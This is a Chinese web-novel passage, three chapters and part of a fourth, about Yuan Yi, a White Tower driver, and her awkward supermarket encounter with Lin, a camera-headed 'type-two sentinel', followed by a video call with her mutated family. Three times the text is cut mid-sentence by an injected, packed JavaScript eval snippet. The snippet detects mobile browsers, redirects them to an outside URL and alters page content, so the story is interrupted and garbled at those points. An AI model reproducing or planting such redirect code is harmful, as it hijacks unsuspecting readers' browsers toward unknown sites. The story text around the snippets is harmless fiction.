《在白塔工作的普通日常》 1. 01 工作生活应当分离,对于元翊来说,这其中的分界线就在超市。 距离白塔稍远一点的地方,有一家商品种类齐全的超大超市,在结束一天的工作后,元翊总喜欢独自来这里逛逛,购买晚饭所需的食材和生活用品,转换大脑,快速从工作当中解脱出来。 这里遇到同事的概率较小,因为白塔内部和附近都有购买生活物资的地方,用白塔的工作卡付费甚至还能打八折,但她总是更愿意到这里来买东西。 所以在超市遇到同事,对于元翊来说是一件有点意外的事情。 那位同事正站在生鲜冷柜乳制品区域,手中拿着两瓶不同品牌的牛奶仔细比对,聚焦的时候有轻微机械转动的声音,像一台老式相机。 现在正是大部分人刚刚下班不久的时间,超市里熙熙攘攘,但是同事的周围大约有半径一米的真空带,除了他以外没有别人,推着购物车的采购者会专门绕一段,避开这位同事。 在上去打招呼和假装没看见之间稍微犹豫,元翊决定还是过去一下。 不仅是因为“看到二型哨兵独自出现在在生活区域,尤其是人流密集的生活区域,白塔工作人员有义务上前询问确定其状态”是白塔的规定,还因为如果她就这样走开的话,同事这样看起来多少有点可怜......而且哨兵一般情况下根本不用亲自外出采购,万一人家是遇到什么困难了,而她熟视无睹让问题继续困扰别人,或者让同事的问题困扰其他快乐逛超市的人,那在未来的某一天她一定会感到内疚的。 好!那就过去打个招呼!简短快速地打个招呼,然后就结束!什么大不了的! 这样给自己打气一番,元翊把购物车在路边靠墙停放好,向那位同事走过去。 “你好。”她走进了那片半径一米的真空带,脸上的笑容显得有些紧张:“我也是白塔工作人员,刚刚看到您在这边购物,我想着过来打个招呼。” 同事转过头来。 似乎略显疑惑的张望了一番。 同事转过头去。 元翊:“额,我在这里哈。” 同事猛地低下头:“哦原来您在这里,抱歉,最近我的颈部关节有点僵硬,刚才并没有注意到您的存在——您好吗。” I’m fine,thank you.And you? 当然噢这句元翊只是在心里想了一下,没有真的问出来,毕竟这位颈部关节僵硬的同事看起来不像是很有幽默感的样子,而且他们两个今天第一次见面,关系根本就没有到那种可以互相开玩笑的亲密。 元翊:“有什么可以帮到您的吗?” 同事:“是的,我现在正在苦恼之中。我手中有两种品牌的牛奶,我决定从两者之中选择其一,但是迟迟不能做下决定。” 他说:“一种号称是从最棒的牧场出品,绝对没有任何污染痕迹。另一种则是号称给产奶的牛提供了最佳的生活,并经过了特殊工艺处理,再零污染的前提下为牛奶增添了更独特的风味和营养元素。” 因为这两种牛奶的介绍词是他目前看到的最满意的介绍,所以他将从两者之中进行选择,但因为无法比对两者的具体差距,因此正在苦恼。 元翊看了看他手中的两瓶牛奶,也从生鲜冷柜里去出两瓶相同的。隔着瓶子看不出里面的牛奶有哪里不同,就是包装纸一个用了红色,一个用了蓝色。她思索了片刻,试图解释这种介绍其实更多的是广告词,而广告有的时候会使用一些浪漫的夸张手法。 镜头放缩,机械声之后,同事冷静的说:“原来如此,只是欺骗吗。” 元翊:“也不算是欺骗吧,这种行为叫做广告,只是使用了更加吸引人的说法来吸引你购买产品,也不一定就是骗人的。” 同事进行了一番思索。 然后将两瓶牛奶全部放回了柜子。 “难以理解。”他最后说:“或者说,以前的我可以理解这些事情吗?” 他的头转了过来,镜头对准元翊,她发誓自己听见了镜头拉近的声音。 元翊的笑容更加勉强了,她牙都咬住了,有点后悔没有把自己购物车里的生菜一起拿过来,这样至少被聚焦观察的时候还能举起生菜抵挡一下。她心里有点后悔过来打招呼了,忍不住想以后要不然还是假装没看见,就这样悄悄的经过。 毕竟虽然白塔要求所有工作人员如果在外面见到黑暗......二型哨兵必须要上前打招呼,并尽可能发生一些简短对话,但是又没有人来盯着你履行这样的规则,只要没穿工作服,大家混迹在普通人之中谁也认不出来谁......可恶他到底还要看多久啊! 元翊觉得自己的苹果肌都开始因为僵硬的表情酸痛了! 但好在这样的注视、应该是注视吗?反正这样的观察在几秒钟之后总算是彻底结束了。 这位同事向自己的后颈处伸手,捏了捏,在一些嘎啦、咔吧的声音之后,他的头小范围的活动了两下——它变得灵活了。这个由一个巨大镜头、电线、坚硬哑光外壳、以及一些浮游在脑袋旁边的星状暗色漂浮颗粒组成的脑袋,现在看起来更像一个灵活的“头”了。 看不出来什么血肉构成,更像某种......颇具未来科技感的摄影机——啊那这样说来岂不就是摄像“头”! 当他转过头来,说话的时候自然而然低下头,那个镜头就会聚焦在与他对话的人身上。 有的时候这些黑暗哨......二型哨兵意识不到,但是他们做出注视的动作,往往会给被注视的人带来一些难以名状的压力,比如元翊现在。她的手指捏成拳头,牙齿咬紧,呼吸停止了一会儿。 “嗯?”同事歪了歪头:“你的呼吸似乎停止了。” 他凑近一些:“您感到有什么不舒服吗?” ——离我远点啊! 全身都在尖叫着,元翊拼劲全身的力气才没让自己后退。 “没有。”她说:“我没有不舒服,我只是不太喜欢待在镜头下,恰好您的头部有一个巨大的镜头。还有上一个问题,我们在这之前好像没有见过,我不了解您,我也不知道那个时候您能不能理解广告行为。” 同事点点头。 同事:“不知道您接下来有什么安排,要一起回白塔吗?” 元翊:“......不用了。” 她笑容僵硬:“不用了,我,我等等还有一点别的事情......您先走吧。” 同事点头:“那我先走了——哦差点忘记了,还没请教您的姓名?” 元翊说了自己的名字。 同事丝毫没有走的意思。 他暗暗静静地等在那里,没有镜头聚焦的声音再响起,这位哨兵双手背在身后,身子笔挺,镜头注视着元翊。搞不清楚这到底是威胁还是温和的注视,但他始终没有移开目光。 而被注视着的元翊看着货架上的一瓶可怜的牛奶。 她不太想问这位哨兵的名字,交换名字意味着一段关系的开始,而且这位二型哨兵一看就是刚转化不久,还处于社会化的进程之中,肯定是更加没有常识的那种,她一点都不想和这个人交换名字! 两人安静的对峙着。 最后果不其然以元翊的落败告终。 她叹了口气:“那,您叫什么名字呢?” “这个问题我恐怕很难在现在回答您,因为对于我自己的名字,我也正在回忆当中。”同事的声音略显低沉,但很快重新变得温和又轻快:“不过好在,我现在已经回忆起其中的一个字,所以在名字完全回忆起来之前,我将自称林。” “好的我记住了。”元翊略显着急:“那我先走了,林你忙吧。” “我今天并没有什么要事要忙,决定要悠闲的度过。”同事说:“再见,元翊——一会儿见。” 不用了,一会儿、二会儿、很多会儿也不用见了。 元翊离开了。 她把装了一些货物的购物车当成了自己平时开的运载机器,作为在白塔驾龄六年的老司机,元翊能够熟练驾驶超过十五种机械装置,并把大部分交通工具开得轮子起火,她总能妥当的速度完成任务。 此时这位老司机已勘测到了最佳离开路线,接着就头也不回直接冲进了货架之间。她知道视觉上的阻隔并不能完全切断二型哨兵的感知,但是管他呢,他爱怎么样怎么样吧,反正有货架的阻隔,元翊是完全看不见那位长着镜头脑袋的同事了。 虽然在这场购物途中出了一点小小的岔子,但是没关系,现在元翊又已经回到了正轨上。因为天气炎热,普通人难免食欲不振,今天她来超市打算买一块嫩豆腐回去做小葱拌豆腐吃,这种时候吃这种爽口的菜最好了。 这样想着,元翊的购物车推到了豆制品专区。 然后被告知:“不好意思,今天的豆腐已经卖完了。” 元翊:? 她楞了一下,略显震惊:“豆腐还能卖完啊?” 导购员是个年轻的小妹妹,她不太好意思的点头:“今天确实卖完了——不过没关系,您可以试试这个!” 她热情的介绍另一样更具性价比的食材。 “豆腐” 她将一个白色方块状物品捧过来。 “这个也是‘豆腐’。”她热情的说:“虽然食用的时候可能需要经过一些特殊的工序, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606537|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是无论是味道还是营养价值,比起传统的豆腐其实都是要更胜一筹的。” 这个白色方块状物品被装在一个更大的方块状透明密封容器内,并且在容器内爬上爬下跳来跳去。 像条不甘心生活在鱼缸里,一门心思要脱离的倔强金鱼。 此事这倔强的豆腐正对她虎视眈眈,好像她一旦说出什么无礼的话就要立刻上来和她同归于尽。 元翊:...... 有时候她真的很迷惑科技进步到底给人类带来了什么。 她就是因为每天上班已经很累了,不想在进行任何“特殊工序”所以才专门来购买传统豆腐啊!她一点也不想下班之后还要和一块豆腐战斗啊! 果断地调换了今天的菜单,元翊鉴定的拒绝了导购:“不了,我不想再下班之后和任何食材进行自由搏击,我只想随便做点什么吃。没关系,我去买其他东西好了。” 最终她买了一瓶柠檬汽水和一根传统黄瓜,以及五毛钱的手工面条。 离开超市的时候,元翊并没有立刻从门里出去,她先是探头探脑的侦查了一番,确定那位二型哨兵并没有在超市门口蹲点之后才松了口气,快步从超市离开。不怪她小心谨慎,毕竟一朝被蛇咬十年怕井绳,有的时候一些哨兵确实会做出一些令人苦恼又头痛的怪异举动,不得不防。 可能因为本职工作是驾驶各种运载机械,下班之后元翊比起开车或者骑自行车,她更属意步行。用散步的方式回家,更能真切的感受到自己和世界之间的联系,风吹在脸上,行道树叶子的沙沙声,蓝天白云,还有混合着草木花香味道的自由空气。 这些东西能让人的灵魂快速脱离天花板的桎梏,在一次深呼吸后眉头舒展,感受到由内而外的自由和放松。 她将从这里步行十五分钟回去自己租住的房子,在这段路上尽情感受这自由的味道。 然而这自由的归家之旅还没开始,超市的广播突然开始播报接下来的天气。 “尊敬的顾客请注意,现在是下午六点四十三分,我区域五分钟后将迎来雷暴天气伴有巨大冰雹,恶劣天气预计持续三到四分钟,在此期间请您待在室内或地下,远离玻璃门窗。若您此时正在室外无法回到室内,请打开二级防护网,并尽量保护好透镜和内脏。” 刚刚离开超市门十几步的元翊:...... 自从污染物入侵之后,极端天气经常突然发生突然结束,别说突然雷电冰雹,还有突然陷入极温炼狱的情况呢,作为白塔的工作人员,元翊早就习惯了。她在赌气的开着防护网行在恶劣天气中赶路和会超市之间艰难抉择了几秒,最终还是掉头回到了室内。 林果然还没有离开。 他安静的靠墙站着,在他周围依然保留着一米的真空带,有一小片区域无人靠近。 这位二型哨兵看起来也已经完成了今天的采购,他手里提着一个小小的袋子。元翊对他的袋子装了什么东西一点都不感兴趣,她想假装没有注意到对方,自己找一个小角落待着,直到恶劣天气结束。 别和我说话别和我说话别和我说...... “真巧,元翊。”是林的声音:“要来我旁边吗?你那边看起来略显拥挤。” ......话。 元翊用力闭了闭眼。 她露出一个营业笑容:“不用了,谢谢你,我站在这里挺好的。” “好的。”林说:“那你介意我站在你的旁边吗?” 元翊:...... 介意! 非常介意! 笑容之下,她牙都咬起来了。 等到林劈开人海站在她旁边,把她也纳入那个真空带的时候,愿意突然反应过来,她忘记说拒绝的话了。 忘记了啊! 扼腕! 内心颇捶胸顿足了一番,这位可靠社会人面上还是稳重无比。她深吸一口气,给自己做了一番心理建设,然后说:“不好意思,其实我有点......” “我知道你在排斥我的存在。”林说:“你害怕我,我知道,元翊。” 林:“但是你还是来和我搭话,这很勇敢,也很尽责。你矛盾的反应让人好奇,我很期待你还会做出什么行为。” 说完这些,他陷入了短暂的思索,然后询问道:“这算是,‘欺负’的一种吗?” 元翊:...... 啊!所以我才讨厌你们这些二型哨兵啊! 不,二什么二!就是黑暗哨兵! 说什么不让叫,就叫就叫就叫! 黑暗哨兵!黑暗哨兵!黑暗哨兵! 我讨厌黑暗哨兵!!! 2. 02 这算欺负吗? 这个问题让人似曾相识的火大,好像曾经也有讨人厌的家伙这样问过她,并且在得到肯定的回答之后得寸进尺,又来了一句:“那我可以继续欺负一下你吗?” “不会很过分,也不会弄疼你,只是稍微欺负你一下,可以吗?” 这样说着,那个讨厌的家伙还用两根手指比出一个大概能让一根松针穿过的宽度。 当时自己是怎么回答的来着? ……反正肯定没同意此事就是了。 但黑暗哨兵有的时候并不是那么容易拒绝的。 那个家伙倒是也没有非要过来欺负她,但是之后的工作里元翊总要费点功夫才能避开对方,甚至现在一些规避手段已经开始渐渐失效,那家伙已经越来越频繁的在她身边晃来晃去。 生气紧张之余,元翊觉得自己都有点认命了。 不然还能怎么办嘛,本来驾驶员的工作都不包括应付二型哨兵的!她已经无偿做出了这么多额外的工作,结果还是没有避开,去跟领导反映结果因为领导当时头拿去修了,元翊都不知道他到底听见自己说什么了没有,反正这个事情就是到现在都没解决。 ——诶~然而生活总是会否极泰来!时来运转! ——最近,那个讨厌的黑暗哨兵,他出差去啦~ 虽然每次二型哨兵出差都因为出现了一些意料之外的紧急情况,或者情况已经紧急到需要二型哨兵出动的地步了。这并不是什么好事,但是对元翊来说,暂时见不到讨厌的人也是很重要的。 没有诅咒任何人的意思,希望大家都平安,然后让他继续去别的地方工作。 可能是她最近快乐的笑声太大声了,吵到了生活这个刻薄鬼。 好不容易熬到一个神经病出差,快乐还没有持续两天,生活就给她送来了另一个精神病。 虽然她一直觉得白塔可能就是某种另类的精神病收容场所,在其中工作的普通人只是用高额薪水和丰厚待遇被哄骗来的精神病丰容装置,但是要知道丰容装置也是有尊严的! 而且当时加进来上班的时候从来没有人说过司机的工作还有哄神经病开心这一项! 然而心中再愤慨,面对一个连人的头都没有的黑暗哨兵,元翊也只能硬邦邦的抗议一句:“......算是,这是非常恶劣的行为,请不要再这样做。” 林有些可惜:“可是这会让人丧失很多乐趣,我觉得很可惜。” “那建议你从别的方式获取健康、高尚、积极、脱离了低级趣味的乐趣。”元翊硬邦邦的说:“欺负别人会给被欺负的对象带来困扰和痛苦,给别人的身心造成极大损害,二型哨兵应当在生活和工作当中尽可能避免此类损害。” “白塔的工作守则。”林轻轻点头,声音当中透出一些赞许:“你很熟悉这些规则,这很好。” 元翊:“……你很不熟悉这些规则,这很坏,希望你加强学习。” 林变得若有所思,他摸了摸自己头部大概是下巴的哑光外壳,缓慢的转过头。没有镜头拉进和关节卡顿的声音,但元翊就是知道自己一定又处于镜头之下了。 她没把头转过去,但立刻紧张起来了。 “事实上,到目前为止,有一件事我很好奇。”林慢条斯理的说:“从我们相遇的最初,您看起来就并不愿意与我发生接触,但您还是来找我搭话了。最初或许是迫于白塔的工作规则,但现在,您完全可以不再理会我。” “我能感受到您的不喜爱,同样,我也能感受到您在紧张和排斥之下尽力表现出的平和和友好,这很矛盾,引人探究。”林:“所以,您能为我答疑解惑吗?” ……真是个讨厌的问题。 元翊看向了另一边,她正在思考采纳林的建议,不再理会他。不知道外面的雷暴和冰雹过去了没有,怎么这么长时间还不开门,真讨厌。 沉默蔓延,林并没有催促,他看起来依然从容不迫,站得笔挺,像一座雕像,连同手中的塑料袋都没有发出一丝不谐的响声。 元翊不知道他还有没有在等这个问题的答案,她觉得自己仿佛在和空气对峙,并且快要落败了。 “……有一些原因。”她叹了口气,声音显得有些挫败和低落:“第一,我虽然不认同一些同事与人交往的风格,但我认可你们所有人做出的贡献和牺牲,并且对此十分感激。” 林点点头:“感谢您的认可,我也感谢您和其他工作人员做出的包容、牺牲和贡献。” 元翊:“第二,我不确定如果我一直沉默你会不会等等不让我离开,或者采取一些更让人不能忍受的方式来取得自己想要的答案。” 林:“看来曾经有人这样对待过您,如果您愿告诉我那是谁,或许我可以去和那位同事探讨一番礼貌的定义,因为那位不当的处事方式,让我失去了一个本应该得到的亲密朋友。” 元翊:“不用了,他现在不在。” 林:“那看来确有其人,我明白了,请您继续。” 元翊感到一阵无语,她抿了抿嘴,知道可能没用,但还是重申了一遍:“真的不用了。” 至于第三个原因…… 她说:“我不想告诉你。” 林:“那我可以知道不告诉我的原因吗?” 元翊:“也不想告诉你。” “好吧,既然如此。”林说:“尊重他人的自主权也是社会化中重要的一项议题,请别担心,我是知晓礼貌定义的人,不会逼迫您一定做出回答。” 他安静了几秒:“听起来,外面的情况已经恢复正常了,我想我们很快就可以出去。” 他的话音落下的几秒后,超市里的广播就响了起来,电子声快乐的通知大家特殊天气警报已经解除,等大门打开后,大家可以自行回家了。 大门打开,一股冷气猛地从大门外吹进来,把厚实的塑料帘子吹得在一起打架,噼里啪啦的。 路面已经被清理得干干净净,除了行道树有一些树枝折断的痕迹,绿化带蔫头耷脑,以及在路边堆起来的一小垛一小垛冰块堆,甚至看不出来刚刚发生了污染天气状况。 天还是蓝蓝的,风还是轻轻的,除了变得更凉爽,什么都没发生。 行人也是,大家纷纷从建筑物内走出来,重新踏上自己原本的行程。 元翊也要回家了。 她往外走了几步,鬼使神差的回头看了一眼。熙熙攘攘的人群中,无数个生动活泼的面孔中,林鹤立鸡群伫立在那里。身形、容貌、气质,这些东西让他即便身处人群之中也无法融入,普通白纸上突兀的一个墨点。 林注意到了她的目光。有别于审视、忌惮、厌恶,元翊的目光中有一些之前他没有见到过的新东西,在林将那些新的情感分析出来之前,他看见元翊深深地叹了口气,连肩膀都一起塌掉,逆着人流重新向他走来。 林的目光追随着她,一直到她来到自己的面前,他温和的发问:“还有什么事吗,元翊?” 元翊没说话,眉头皱着,脸臭臭的,像是在做一件希望快点结束的事情,更像是在和自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606538|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赌气。 “……如果你想要尝试牛奶制品的话。”她从自己的背包里掏出便签本和笔,在上面快速书写:“在白塔附近连锁超市,这个品牌的水牛奶味道很浓郁,用来调配咖啡或者单独饮用都很好喝。之前你看到的那两个品牌,比起牛奶,我更喜欢他们的奶味雪糕,叫这两个名字,如果你想的话也可以试试。” 便签撕下时发出呲的一声。 元翊低着头把那张写满品牌和商品的便签塞给他,然后快速跑掉了。 她跑得飞快,像是被狗撵一样。 这一次她没再回头。 一种奇妙的感觉从胸腔内部缓慢的弥散开,林感到有些震惊,更多的是荒诞可笑。他已经分辨出了元翊矛盾的来源,虽然很难相信,但元翊真的在怜悯他。 或许不止他,她怜悯的可能是某个群体。 某些拥有远超常人力量的超级兵器,或者更广博的,与人迥异的个体。 讨厌是真的,害怕是真的,但友善和怜悯也是真的。 这也…… “……太有趣了。”林轻轻的赞叹:“人类的情感,真是太有意思了。” 元翊从超市一路小跑离开,连过两个红绿灯才停下松口气。 她隐约觉得自己又做了一件多余的事。她老做多余的事。 进门之前叹了最后一口气,回家之后,她又变得有精神起来了。 换衣服,洗漱,飞扑上沙发。 然后发出下班后第一声舒适的怪叫。 接着就是—— “妈妈——”在视频接通的时候,元翊发出一些更加激烈的怪叫:“今天下班我差点和蓝患天气怼个正脸!” 接着就是一段绘声绘色精彩纷呈的单口相声,主要突出今天下班本来高高兴兴,在超市里买了东西正要回家结果夸擦一下就出现雷电冰雹预警。该段单口相声主要突出了“幸好没走远”“当机立断立刻回到室内”“有惊无险度过难关”“蓝患天气过去之后空气凉爽”等部分,并搭配了许多浪漫夸张的修辞手法,以及过量拟声词和大笑。 有点吵,但没办法,这个人和家里人打电话的时候是这样的。 本来妈妈正在敷面膜,结果因为这个电话持续的时候她老是想笑,还要说话,面膜不停的移位,最终她只能遗憾的提前结束面膜时间。 “就是要小心呢。”妈妈说:“你爸之前出去的时候遇到红患天了,而且一下联系不上把人都吓坏了,幸亏他记得带防护了,就那样回来之后他右手全都红了。” 妈妈:“不过还好他的右手会再生嘛,好得快——诶,正说着呢,他们两个回来了。” 视频镜头转换,从卧在沙发上的妈妈变成了刚从门里进来,正在换鞋的两人。 一个正在热情洋溢描述自己今天在学校神奇见闻。 一个一边点头附和一边用章鱼手把书包用力一下精准的甩到餐桌被拉开的座椅上。 那张椅子是他们家专门用来“随手一放”的,上面堆着翻看过后随手一放的书籍,回来后随手一放的外套,现在还放着弟弟放学回来的书包。 弟一伸手:“嗨老姐。” 元翊在屏幕里也一样:“嗨老弟,还有老爹,嗨老爹。” 老爹扬了扬软软的章鱼手:“嗨。” 青色,吸盘,柔韧,无骨。 是的,老爹有一条章鱼手。 有点恶心。 但是还挺酷的 但是有点恶心。 但是超酷的!!!! 3. 03 家人之间总有说不完的话。 元翎作为一个活泼的小学生,在和姐姐打过招呼之后,他超经意拿出自己的试卷,然后超经意的说自己这次恰好考了第一名。 元翊立刻:“哇!第一名!好耶!” “但是只有98分。”他有点得意又有点遗憾的说。 元翊:“那也很厉害啊,第一名诶!” 稍微夸奖一下,弟弟立刻绷不住笑。虽然没有更多的话,但全身上下每一个毛孔都在诉说得意和开心。 在这种情绪高涨的时刻,他身边似乎浮现了一团橘的黄的灰的幻影,只能看到轮廓,有毛发,长尾,暂时看不出具体的物种。它看起来也被弟弟快乐的情绪感染,漂浮在空中扭了扭,尾巴甩甩。 元翊觉得这个轮廓可能看了她一眼,虽然它尚看不出眼睛,但元翊就是觉得它这次看她了。 她看到似乎有个爪子向她挥了挥,打招呼一样,然后很快的消散。 元翊没动。她一直有些紧张的看着那团未成型的精神体消散,看到它这次也没有顺利成型,终于松了口气。 “那不说啦,我要去做饭啦。”她说:“我今天吃柠檬汽水凉面。” 弟弟立刻:“哇!柠檬汽水凉面!好耶!” 然后又有点担忧:“听起来有点黑暗,真的好吃吗?你可不要乱吃东西把自己吃坏哦。” 元翊:“很好吃啦,这个是很适合夏天的食物,虽然夏天还没到,但是差不多快来了!” 挂断视频之前,老爹的触手先一步飞来:“稍等——咱们这边槐花开了,我们今天吃,你什么时候回来啊,或者给你寄点?” “我最近不太能离开本区域。”元翊有点为难:“等我过段时间回来吧,也别寄了,寄过来都不太好了。” “噢……”老爹说:“那给你冻一包,回来吃一样的。” 然后他一边走远,一边有点不满的小声抱怨:“去年就给你冻了一包,结果香味都没有了你都没回来。” 老妈:“那你在那边把自己照顾好,注意安全,有什么事就和家里打电话,我们也没事,需要的话我们过来很方便的。” 元翊:“好的,别担心,我这里都好呢。除了领导的头之前太闪了,进门之前要戴墨镜很麻烦,但是现在他的头已经去修了,所以我已经非常满意啦。” 老妈:“那就好——那好啦,我们也去吃饭了,你也快去吧。” 元翊:“好滴,立刻去!” 虽然这么说,但电话挂断后,元翊还是在沙发上瘫着,并没有移动的意思。 “......尾巴比上次长了一点。”她回忆之前看到的那个模糊的精神体,喃喃:“不是好现象。” 污染出现后,与某些因为污染具象化、吞食同化浓度升高至不适宜人类生存等现象相比,偶尔出现的奇怪天气变化只是众多麻烦中微不足道的一项。 有些对污染抗性较低的人感染之后就会像元翊的爸爸这样,他们缺乏成为哨兵或者向导的可能性,经过治疗后,污染基本被彻底清除,但污染残留在他们身上的痕迹却无法清除。 这种痕迹往往体现在外观变异,包括但不限于皮肤、肢体、毛发、体丨液等部位。 内脏异变是少数。这种异变难以用肉眼辨别,但因为内脏异变会给生活带来更可怕的影响,也更容易深度异变,所以也很难说是什么好事。 白塔宣传这种异变不会传染,但人们对这种残留在身体上、明显能够被肉眼捕捉的异变,态度还是很暧昧。 爸爸的胳膊变成章鱼手之后,虽然他说自己没事一切都好,但很长时间都心情失落,不愿意出门,不爱联系他以前的朋友也不让人家来看他,每天都只是睡觉睡觉,很没有精神,让人看起来非常担心和心疼。 但现在不一样了。 现在爸爸是“污染观察员”了,每天的工作就是在自己负责的区域里到处走走,查看有没有哪里有异常情况。 这个工作让爸爸又能和别人联系起来了,有了很多新同事新朋友,重新融入社会,心情也好起来,也爱出门了。 但......怎么说呢,虽然大家都已经知道这种肢体异变不会传染,不会有任何负面影响,但还是很难完全公正平和的对待他们。 这种情况并不是不能理解,元翊自己看待二型哨兵也有点这种感觉,但是看到自己的家人被这样的区别对待还是会让元翊非常生气和伤心。 除开不能分化的大多数,有极小一部分,他们在与污染接触过后,身体内某些部分会与污染产生共鸣,从而觉醒为哨兵或向导。 比如她弟弟,元翎现在就已经展现出了这种可能性。 白塔对每一个潜在的哨兵向导都会定时观测,元翎也已经被建立档案,每月检查。元翊和档案室的妹妹关系不错,她偶尔会稍微帮她查看一下元翎的情况。 “问题不大,你不要担心。”档案室妹妹总是给她这样宽心:“大部分精神体都很难成型,而且退一步,就算成型了,也不可能让这么小的孩子参与前线工作的。退一万步,像现在这种时候,真的变成哨兵向导也不算是坏事。” 元翊嘴上:“你说得对。” 但她心里打定主意半步也不退,要想尽一切办法杜绝这种恐怖的可能。 尤其是她得知这种潜在对象的年纪有大有小,目前最小的观测对象只有三岁两个月之后,她更坚定了自己的想法。 拜托啊!三岁两个月的小朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606539|172065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友啊!就算真的觉醒成向导哨兵这小孩能干什么啊!抱着奶瓶上前线吗? 别太离谱了。 她知道这种观测更多的是保护性质的,因为除了觉醒,这些对象还有可能产生异变,或者在自身的抗性崩溃之后彻底被污染同化成为新的污染源,但是这种事情放在她自己身上就罢了,放在她家人身上,她根本接受不了任何不好的可能性。 尤其是在这样的事情切实的发生,她作为运输人员之一参与了那次行动,亲自见识了战斗人员的手段之后。 她亲眼看到在确认缺乏回溯和可逆性的感染源在形成后造成了多么可怕的破坏,以及哨兵进入战斗状态销毁污染源有多么迅速彻底之后。平时和她嘻嘻哈哈开玩笑的哨兵向导突然变成了一种有别于人类的可怕东西,用一种可怕的速度,把另一种可怕的东西彻底碾碎清除。 很多事情如果没有亲眼见过根本很难想象。 那次之后她做了一周噩梦,梦里曾经的朋友就是这样把她的家摧毁的,而她只能在一旁看着。 元翊根本不敢去想元翎某天在课堂上精神体成型,正式成为一型哨兵登记进入白塔的可能,更不敢想那个看不出模样的东西没有正常成型,变成了畸形的怪东西之后吞噬她弟弟之后造成多么可怕的灾难后果,以及这种事情发生之后白塔的应对措施。 她想都不敢想。 所以最好的情况就是那个小东西永远别成型。 元翊想。 求你了,永远别成型,就这样,或者在某天就自然消散吧,求你了。 每次想到这种事情就会让人心情沮丧,元翊在沙发上缩了一会儿才缓慢地爬起来。 洗手,走进厨房,煮面,油泼小米辣蒜末,调汁,面条煮好捞出过冷水,加入柠檬汽水,黄瓜擦丝。 等差不多做完这一切之后,元翊拿了一个碗放在茶几上,过了一会儿,她又去拿了一个碗。 然后开始默数。 在数完十个数之前,她听见门口传来了一点动静。 非常轻微,咯吱咯吱,偶尔不小心会蹭到门,发出一点闷响。 ......果然又来了。 元翊面无表情,轻手轻脚小心翼翼的挪过去,然后在又一次蹭到门的闷响之后,她猛地—— 把门打开一条小缝。 果然,热爱在她门口搭建违章建筑的两位建筑工人又如期而至了。 额,说两位建筑工人可能有点不太正确。 毕竟其中有一位也不能算是人。而且严格来说他们应该只能算一个个体。 所以准确的表述应该是这样的: 果然,热爱在她门口搭建违章建筑的建筑工人和建筑工鹅,又如期而至了。 4. 04 这二位建筑大师并不是第一次来到元翊门口搭建违章建筑的,他们在这附近活动了有小十天了,像游戏npc一样,基本就在她下班回家之后半小时左右刷新。 在第一次面对这种情况的时候她还是很紧张的,她手握便携式□□缓慢地前进,谨慎地贴在门上,在听见门外有动静就猛地把门推开,结果这一举动显然也惊吓到了门外的人,对方下意识抬手格挡。 然后那扇老门就英勇就义了。 当然对方赔了门,但是当时正好赶上长时间的黄患天,人家门店没办法过来安装,所以那扇漏风破门用了一整天。 黄患天加漏风破门。 这对充满故事感的组合让元翊被迫暴露在黄患里,好在黄患的浓度不高,她嗓子只疼了四天就痊愈了,也没有什么其他的不良后果。 但这场闹剧并没有结束。 这位向导和他的精神体还是定期在她家门口刷新。 哈哈,真有意思。 之前她询问过对方到底是来干什么的,有什么目的,但是一人一鹅支支吾吾在一起搅手指搓翅尖,就是不说话,因为没办法沟通,元翊只能勒令对方立刻离开,他们两个也确实在道歉之后很快就离开了,但是第二天还是后准时准点的出现。 ......算了,看起来没什么恶意。 如果有恶意的话,他们双方都不会是现在这个样子。 这算是所有坏结果当中非常理想化的一种结果了,毕竟,虽说向导不是哨兵那样擅长正面作战的人,但如果以此认为他们弱小,那就大错特错。 普通人怎么可能用区区格挡动作就让防盗门四分五裂?哈哈,不可能吧。 总之,前车之鉴后事之师,因为这对奇怪的组合总是定时刷新,而她实在不想再换一扇门了,于是每次开门查看都变得小心翼翼。 现在,元翊皱着眉头,看着又出现在自己家门口的一小堆小鹅卵石。它们被垒起来,像一个小小的金字塔。这个金字塔旁边,建筑大师以及建筑大师的助手正蹲在那里继续给这个鹅卵石金字塔添砖加瓦。 这位建筑大师尖锐的喙正叼着一个有些花纹的圆润小石头,左右比对应该把它放在该建筑物哪里更加合适,在另一边,它的助手手里捧着更多、花样各不相同的鹅卵石等待眼光挑剔的大师继续挑选。 这两位建筑工人(鹅?)的身高和体型让本就逼仄的老旧楼道空间更加雪上加霜,他们一个缩着,一个拢着翅膀,因为再舒展开一点可能就要扩展到邻居家门口去了。 因为过度专心他俩甚至没有察觉到门已经被打开了一条小缝。 元翊:...... 真服了,这就是向导的实力吗? 